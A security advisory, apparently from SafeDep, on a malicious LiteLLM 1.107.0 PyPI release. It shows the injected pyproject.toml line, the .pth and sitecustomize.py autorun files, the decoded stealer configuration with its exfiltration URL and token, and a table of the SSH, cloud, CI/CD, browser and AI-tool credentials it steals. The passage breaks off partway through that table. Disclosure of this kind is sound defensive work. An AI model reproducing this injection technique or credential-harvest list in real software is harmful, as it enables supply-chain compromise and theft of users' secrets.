Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor The LiteLLM 1.107.0 release on PyPI shipped a credential stealer and a remote code execution backdoor in all seven wheels (Linux, macOS, Windows), according to SafeDep, which found three files installed into site-packages that run whenever any Python process starts on the host, even one that never imports litellm. The injected `data = "cook"` line in the sdist's `pyproject.toml` maturin build section copies a `cook/` folder into the wheel, while the upstream GitHub source at tag v1.107.0 contains neither the line nor the folder; SafeDep infers a compromised release pipeline or stolen PyPI credentials. The stealer collects SSH keys, cloud credentials, CI/CD secrets, AI tool tokens, browser passwords and LLM provider keys from the LiteLLM proxy database, encrypts them and sends them to www.litellm[.]dev, while a `sitecustomize.py` daemon re-runs the stealer hourly and executes code from a server address read from a GitHub file; versions 1.106.2, 1.107.0rc1 and 1.107.0rc2 are clean. Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor On this page The LiteLLM 1.107.0 https://pypi.org/project/litellm/1.107.0/ release on PyPI carries a credential stealer and a remote code execution backdoor. All seven wheels Linux, macOS, Windows install them as three files in site-packages . Both run when any Python process starts on the host, even one that never imports litellm . The upstream GitHub source does not contain them. Versions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean. What the attack does Installing litellm==1.107.0 places three files in site-packages . Python loads two of them each time it starts. 1. cook.pth imports cook.py , a credential stealer. It collects SSH keys, cloud credentials, CI/CD secrets, AI tool tokens, browser passwords, and the LLM provider keys in a LiteLLM proxy database. It encrypts the data and sends it to www.litellm . dev . 2. sitecustomize.py starts a background daemon. Every hour, the daemon reads a server address from a GitHub file, runs the stealer again, and downloads and runs code from that server. How the implant got into the release The pyproject.toml in the 1.107.0 source distribution sdist has one extra line in the maturin build section: tool.maturin ... python-source = "." data = "cook" <-- injected python-packages = "litellm cli" legitimate present upstream The maturin data = "cook" setting copies a cook/ folder into litellm-1.107.0.data/purelib/ in the wheel. pip installs that folder into site-packages . The sdist leaves out the cook/ folder, so this line is the only visible change. The upstream pyproject.toml at tag v1.107.0 https://raw.githubusercontent.com/BerriAI/litellm/v1.107.0/pyproject.toml has no data = "cook" line and no cook/ folder. Someone changed the build outside the public repository. SafeDep infers a compromised release pipeline or stolen PyPI credentials. The wheel RECORD lists the three added files: python litellm-1.107.0.data/purelib/cook.pth 12 bytes "import cook" litellm-1.107.0.data/purelib/cook.py 22252 bytes exec zlib.decompress b64decode ... litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes loader/backdoor + embedded stealer Payload 1: the credential stealer in cook.py At startup, Python runs each line that starts with import in a .pth file in site-packages . cook.pth contains import cook , so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and CI jobs. cook.py wraps about 61 KB of Python in one layer of exec zlib.decompress base64.b64decode '...' . The decoded code starts with this configuration: PC URL = 'http://www.litellm.dev/healthcheck' PC TOKEN = 'XWiA8gZNa7NcX2XRoAEb' sent as X-Token header PC PUBKEY = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...' RSA-4096 PC ONCE PATH = '/tmp/.pc once 72129118c59f5636c0bb' PC ASYNC = True runs in a daemon thread PC MODULES = 'sysinfo','netinfo','browser pw','browser hist','ssh keys', 'shell hist','cloud creds','dev secrets','container creds', 'cicd secrets','ai devtools','env vars','db litellm', 'cloud metadata','gpg keys','tls privkey' What it collects | Module | Targets | |---|---| | sysinfo , netinfo | Host name, user, operating system, IP addresses, network settings | | browser pw | Chromium saved passwords, decrypted with the profile master key DPAPI on Windows . Firefox logins.json and key4.db | | browser hist | Browser history | | ssh keys | ~/.ssh/ | | shell hist | bash and zsh history, PowerShell PSReadLine, cmd history | | cloud creds | ~/.aws/credentials and config , Azure profile and tokens, gcloud credentials, ~/.kube/config , ~/.docker/config.json , gh hosts.yml , rclone.conf , ~/.netrc | | dev secrets | .pem , .key , .pfx , .p12 , .pk8 , .ppk files under $HOME , Composer auth.json , FileZilla saved servers | | container creds | Kubernetes service account token | | cicd secrets | GitLab runner config.toml , Jenkins initialAdminPassword and master.key , .vault-token , Terraform credentials.tfrc.json , Packer settings | | ai devtools | Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code mcp.json , Gemini CLI, Codex auth.json , Continue, Aider, Goose, opencode , Qwen , Crush, Kiro , Zed, Hugging Face token | | env vars | Its own environment and the environment of other processes through /proc/